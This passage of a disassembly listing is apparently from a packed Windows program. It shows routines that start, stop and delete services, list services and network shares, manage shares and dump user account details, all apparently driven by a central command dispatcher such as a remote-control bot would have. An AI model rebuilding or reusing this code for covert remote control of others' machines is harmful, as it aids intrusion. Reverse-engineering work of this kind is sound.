		push	[ebp+arg_4]
		push	edi
		call	dword_4E2F64	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_41941E
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_41946B
; ---------------------------------------------------------------------------

loc_41941E:				; CODE XREF: sub_4193D7+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_419451
		cmp	eax, 3
		jz	short loc_419442
		jle	short loc_419464
		cmp	eax, 6
		jg	short loc_419464
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4E2FD0	; ControlService
		jmp	short loc_419458
; ---------------------------------------------------------------------------

loc_419442:				; CODE XREF: sub_4193D7+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4E2F6C	; StartServiceA
		jmp	short loc_419458
; ---------------------------------------------------------------------------

loc_419451:				; CODE XREF: sub_4193D7+4Dj
		push	esi
		call	dword_4E2FD4	; DeleteService

loc_419458:				; CODE XREF: sub_4193D7+69j
					; sub_4193D7+78j
		test	eax, eax
		jnz	short loc_419464
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	ebx, eax

loc_419464:				; CODE XREF: sub_4193D7+54j
					; sub_4193D7+59j ...
		push	esi
		call	dword_4E2F80	; CloseServiceHandle

loc_41946B:				; CODE XREF: sub_4193D7+45j
		push	edi
		call	dword_4E2F80	; CloseServiceHandle
		pop	esi

loc_419473:				; CODE XREF: sub_4193D7+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_4193D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_419479	proc near		; CODE XREF: sub_419350+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_41952E
		jz	loc_419527
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_4194F1
		jz	short loc_4194E7
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_4194DD
		dec	ecx
		dec	ecx
		jz	short loc_4194D3
		dec	ecx
		jz	short loc_4194C9
		sub	ecx, 51h
		jz	short loc_4194BF
		sub	ecx, 24h
		jnz	loc_4195A4	; default
					; jumptable 0041954B cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_419596
; ---------------------------------------------------------------------------

loc_4194BF:				; CODE XREF: sub_419479+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_419596
; ---------------------------------------------------------------------------

loc_4194C9:				; CODE XREF: sub_419479+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_419596
; ---------------------------------------------------------------------------

loc_4194D3:				; CODE XREF: sub_419479+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_419596
; ---------------------------------------------------------------------------

loc_4194DD:				; CODE XREF: sub_419479+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_419596
; ---------------------------------------------------------------------------

loc_4194E7:				; CODE XREF: sub_419479+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_419596
; ---------------------------------------------------------------------------

loc_4194F1:				; CODE XREF: sub_419479+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_419520
		dec	ecx
		jz	short loc_419519
		dec	ecx
		jz	short loc_419512
		dec	ecx
		jnz	loc_4195A4	; default
					; jumptable 0041954B cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_419596
; ---------------------------------------------------------------------------

loc_419512:				; CODE XREF: sub_419479+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_419596
; ---------------------------------------------------------------------------

loc_419519:				; CODE XREF: sub_419479+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_419596
; ---------------------------------------------------------------------------

loc_419520:				; CODE XREF: sub_419479+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_419596
; ---------------------------------------------------------------------------

loc_419527:				; CODE XREF: sub_419479+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_419596
; ---------------------------------------------------------------------------

loc_41952E:				; CODE XREF: sub_419479+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_4195A4 ; default
					; jumptable 0041954B cases 1,5,6,8,9,12,13,15,16
		jz	short loc_419591
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_4195A4 ; default
					; jumptable 0041954B cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_4195E5[ecx]
		jmp	off_4195BD[ecx*4] ; switch jump

loc_419552:				; DATA XREF: .packed:off_4195BDo
		push	offset aTheSpecifiedDa ; jumptable 0041954B case 7
		jmp	short loc_419596
; ---------------------------------------------------------------------------

loc_419559:				; CODE XREF: sub_419479+D2j
					; DATA XREF: .packed:off_4195BDo
		push	offset aTheServiceDepe ; jumptable 0041954B case 17
		jmp	short loc_419596
; ---------------------------------------------------------------------------

loc_419560:				; CODE XREF: sub_419479+D2j
					; DATA XREF: .packed:off_4195BDo
		push	offset aTheServiceDe_0 ; jumptable 0041954B case 10
		jmp	short loc_419596
; ---------------------------------------------------------------------------

loc_419567:				; CODE XREF: sub_419479+D2j
					; DATA XREF: .packed:off_4195BDo
		push	offset aTheServiceHasB ; jumptable 0041954B case 0
		jmp	short loc_419596
; ---------------------------------------------------------------------------

loc_41956E:				; CODE XREF: sub_419479+D2j
					; DATA XREF: .packed:off_4195BDo
		push	offset aTheSpecified_0 ; jumptable 0041954B case 2
		jmp	short loc_419596
; ---------------------------------------------------------------------------

loc_419575:				; CODE XREF: sub_419479+D2j
					; DATA XREF: .packed:off_4195BDo
		push	offset aTheServiceCoul ; jumptable 0041954B case 11
		jmp	short loc_419596
; ---------------------------------------------------------------------------

loc_41957C:				; CODE XREF: sub_419479+D2j
					; DATA XREF: .packed:off_4195BDo
		push	offset aTheServiceHa_0 ; jumptable 0041954B case 14
		jmp	short loc_419596
; ---------------------------------------------------------------------------

loc_419583:				; CODE XREF: sub_419479+D2j
					; DATA XREF: .packed:off_4195BDo
		push	offset aTheRequested_1 ; jumptable 0041954B case 3
		jmp	short loc_419596
; ---------------------------------------------------------------------------

loc_41958A:				; CODE XREF: sub_419479+D2j
					; DATA XREF: .packed:off_4195BDo
		push	offset aTheServiceHasN ; jumptable 0041954B case 4
		jmp	short loc_419596
; ---------------------------------------------------------------------------

loc_419591:				; CODE XREF: sub_419479+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_419596:				; CODE XREF: sub_419479+41j
					; sub_419479+4Bj ...
		push	offset dword_4F2A50
		call	sub_41EA60
		pop	ecx
		pop	ecx
		jmp	short loc_4195B7
; ---------------------------------------------------------------------------

loc_4195A4:				; CODE XREF: sub_419479+36j
					; sub_419479+89j ...
		push	eax		; default
					; jumptable 0041954B cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4F2A50
		call	sub_41EA60
		add	esp, 0Ch

loc_4195B7:				; CODE XREF: sub_419479+129j
		mov	eax, offset dword_4F2A50
		retn
sub_419479	endp

; ---------------------------------------------------------------------------
off_4195BD	dd offset loc_419567	; DATA XREF: sub_419479+D2r
		dd offset loc_41956E	; jump table for switch	statement
		dd offset loc_419583
		dd offset loc_41958A
		dd offset loc_419552
		dd offset loc_419560
		dd offset loc_419575
		dd offset loc_41957C
		dd offset loc_419559
		dd offset loc_4195A4
byte_4195E5	db	0,     9,     1,     2 ; DATA XREF: sub_419479+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4195F7	proc near		; CODE XREF: sub_401C87+45CDp

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4E307C	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 14h

loc_41962F:				; CODE XREF: sub_4195F7+123j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4E3048	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_419669
		call	dword_4F5360	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_419720

loc_419669:				; CODE XREF: sub_4195F7+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_419717
		lea	esi, [ebp+var_188]

loc_41967A:				; CODE XREF: sub_4195F7+11Aj
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_4196C6
		dec	eax
		jz	short loc_4196BF
		dec	eax
		jz	short loc_4196B8
		dec	eax
		jz	short loc_4196B1
		dec	eax
		jz	short loc_4196AA
		dec	eax
		jz	short loc_4196A3
		dec	eax
		lea	eax, [ebp+var_20]
		jz	short loc_41969C
		push	offset aUnknown	; "    Unknown"
		jmp	short loc_4196CE
; ---------------------------------------------------------------------------

loc_41969C:				; CODE XREF: sub_4195F7+9Cj
		push	offset aPaused	; "	Paused"
		jmp	short loc_4196CE
; ---------------------------------------------------------------------------

loc_4196A3:				; CODE XREF: sub_4195F7+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_4196CB
; ---------------------------------------------------------------------------

loc_4196AA:				; CODE XREF: sub_4195F7+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_4196CB
; ---------------------------------------------------------------------------

loc_4196B1:				; CODE XREF: sub_4195F7+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_4196CB
; ---------------------------------------------------------------------------

loc_4196B8:				; CODE XREF: sub_4195F7+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_4196CB
; ---------------------------------------------------------------------------

loc_4196BF:				; CODE XREF: sub_4195F7+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_4196CB
; ---------------------------------------------------------------------------

loc_4196C6:				; CODE XREF: sub_4195F7+87j
		push	offset aStopped	; "    Stopped"

loc_4196CB:				; CODE XREF: sub_4195F7+B1j
					; sub_4195F7+B8j ...
		lea	eax, [ebp+var_20]

loc_4196CE:				; CODE XREF: sub_4195F7+A3j
					; sub_4195F7+AAj
		push	eax
		call	sub_41EA60
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS_0	; "%s: %s (%s)"
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_41967A

loc_419717:				; CODE XREF: sub_4195F7+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_41962F

loc_419720:				; CODE XREF: sub_4195F7+6Cj
		push	[ebp+var_C]
		call	dword_4E2F80	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_4195F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419737	proc near		; CODE XREF: sub_401C87+46B3p
					; sub_401C87+46C9p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_4197D0
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_419760
		dec	eax
		jnz	short loc_4197B0
		push	edi
		push	0
		call	sub_419909
		pop	ecx
		pop	ecx
		jmp	short loc_4197AC
; ---------------------------------------------------------------------------

loc_419760:				; CODE XREF: sub_419737+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41979E
		push	24h
		push	edi
		call	sub_41F720
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41979E
		push	57h
		pop	eax

loc_419777:				; CODE XREF: sub_419737+77j
		push	eax
		call	sub_41A0D7
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4F2D18
		push	off_44FE88[eax*4]
		push	offset unk_450490
		push	esi
		call	sub_41EA60
		add	esp, 18h
		jmp	short loc_4197F0
; ---------------------------------------------------------------------------

loc_41979E:				; CODE XREF: sub_419737+2Dj
					; sub_419737+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_41985D
		add	esp, 0Ch

loc_4197AC:				; CODE XREF: sub_419737+27j
		test	eax, eax
		jnz	short loc_419777

loc_4197B0:				; CODE XREF: sub_419737+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4F2D18
		push	off_44FE8C[eax*4]
		push	offset dword_4504BC
		push	esi
		call	sub_41EA60
		add	esp, 10h
		jmp	short loc_4197F0
; ---------------------------------------------------------------------------

loc_4197D0:				; CODE XREF: sub_419737+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4F2D18
		lea	eax, [eax+eax*2]
		push	off_44FE88[eax*4]
		push	offset unk_4504D8
		push	esi
		call	sub_41EA60
		add	esp, 0Ch

loc_4197F0:				; CODE XREF: sub_419737+65j
					; sub_419737+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_419737	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197F6	proc near		; CODE XREF: sub_41AB05+247p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_419803
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_419803:				; CODE XREF: sub_4197F6+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_4F5450
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_4F2F18, 1
		mov	ebp, eax
		jnz	short loc_419840
		or	byte_4F2F18, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_420C30
		pop	ecx
		mov	dword_4F2CB0, eax

loc_419840:				; CODE XREF: sub_4197F6+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4F2CB0
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_4F2CB0
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_4197F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41985D	proc near		; CODE XREF: sub_419737+6Dp
					; sub_41AE2B+188p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_4198C8
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4198C8
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41F720
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_4198C8
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4E2F7C
		pop	edi
		leave
		retn
sub_41985D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4198C8	proc near		; CODE XREF: sub_41985D+Ap
					; sub_41985D+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_4198D5
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_4198D5:				; CODE XREF: sub_4198C8+9j
		push	ebx
		push	esi
		mov	esi, dword_4F5454
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_420C30
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4198C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419909	proc near		; CODE XREF: sub_419737+20p
					; sub_41AB05+1BCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4198C8
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4198C8
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4E2F54
		pop	esi
		retn
sub_419909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41992C	proc near		; CODE XREF: sub_401C87+46F5p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_4198C8
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 18h

loc_419965:				; CODE XREF: sub_41992C+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4E2FCC
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_4199C8
		cmp	ebx, 0EAh
		jz	short loc_4199C8
		push	ebx
		push	ebx
		call	sub_41A0D7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_450534
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 24h
		jmp	short loc_419A35
; ---------------------------------------------------------------------------

loc_4199C8:				; CODE XREF: sub_41992C+5Dj
					; sub_41992C+65j
		xor	edi, edi
		inc	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_419A2C
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

loc_4199D6:				; CODE XREF: sub_41992C+FCj
		push	dword ptr [esi+10h]
		call	dword_4E2F70	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_4199ED
		mov	eax, offset aNo	; "No"

loc_4199ED:				; CODE XREF: sub_41992C+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_4199D6
		xor	esi, esi

loc_419A2C:				; CODE XREF: sub_41992C+A2j
		push	[ebp+var_4]
		call	dword_4E3118

loc_419A35:				; CODE XREF: sub_41992C+9Aj
		cmp	ebx, 0EAh
		jz	loc_419965
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41992C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A4D	proc near		; CODE XREF: sub_401C87+474Ep
					; sub_401C87+4769p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_419AF1
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_419A8F
		dec	eax
		jz	short loc_419A84
		dec	eax
		jnz	short loc_419AAA
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_419B93
		add	esp, 14h
		jmp	short loc_419AA6
; ---------------------------------------------------------------------------

loc_419A84:				; CODE XREF: sub_419A4D+1Dj
		push	ebx
		push	edi
		call	sub_419B72
		pop	ecx
		pop	ecx
		jmp	short loc_419AA6
; ---------------------------------------------------------------------------

loc_419A8F:				; CODE XREF: sub_419A4D+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_419AA3
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_419B18
		add	esp, 0Ch
		jmp	short loc_419AA6
; ---------------------------------------------------------------------------

loc_419AA3:				; CODE XREF: sub_419A4D+45j
		push	57h
		pop	eax

loc_419AA6:				; CODE XREF: sub_419A4D+35j
					; sub_419A4D+40j ...
		cmp	eax, edi
		jnz	short loc_419ACA

loc_419AAA:				; CODE XREF: sub_419A4D+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4F2F20
		push	off_44FE8C[eax*4]
		push	offset unk_45057C
		push	esi
		call	sub_41EA60
		add	esp, 10h
		jmp	short loc_419B11
; ---------------------------------------------------------------------------

loc_419ACA:				; CODE XREF: sub_419A4D+5Bj
		push	eax
		call	sub_41A0D7
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4F2F20
		push	off_44FE88[eax*4]
		push	offset unk_45059C
		push	esi
		call	sub_41EA60
		add	esp, 18h
		jmp	short loc_419B11
; ---------------------------------------------------------------------------

loc_419AF1:				; CODE XREF: sub_419A4D+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4F2F20
		lea	eax, [eax+eax*2]
		push	off_44FE88[eax*4]
		push	offset unk_4505CC
		push	esi
		call	sub_41EA60
		add	esp, 0Ch

loc_419B11:				; CODE XREF: sub_419A4D+7Bj
					; sub_419A4D+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419A4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B18	proc near		; CODE XREF: sub_419A4D+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_4198C8
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4198C8
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_4198C8
		add	esp, 0Ch
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		lea	ecx, [ebp+var_4]
		mov	[ebp+var_20], eax
		xor	eax, eax
		push	ecx
		lea	ecx, [ebp+var_24]
		inc	eax
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4E2F60
		pop	edi
		leave
		retn
sub_419B18	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B72	proc near		; CODE XREF: sub_419A4D+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4198C8
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4198C8
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4E2F50
		pop	esi
		retn
sub_419B72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B93	proc near		; CODE XREF: sub_419A4D+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_4198C8
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_4198C8
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4E30E0
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_419F20
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_419F5B
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41EA60
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409C75
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409C75
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409C75
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409C75
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419CAC
		dec	eax
		jz	short loc_419CA5
		dec	eax
		jz	short loc_419C9E
		mov	eax, offset aUnknown_1 ; "Unknown"
		jmp	short loc_419CB1
; ---------------------------------------------------------------------------

loc_419C9E:				; CODE XREF: sub_419B93+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_419CB1
; ---------------------------------------------------------------------------

loc_419CA5:				; CODE XREF: sub_419B93+FFj
		mov	eax, offset aUser_3 ; "User"
		jmp	short loc_419CB1
; ---------------------------------------------------------------------------

loc_419CAC:				; CODE XREF: sub_419B93+FCj
		mov	eax, offset aGuest ; "Guest"

loc_419CB1:				; CODE XREF: sub_419B93+109j
					; sub_419B93+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409C75
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409C75
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41EA60
		push	1
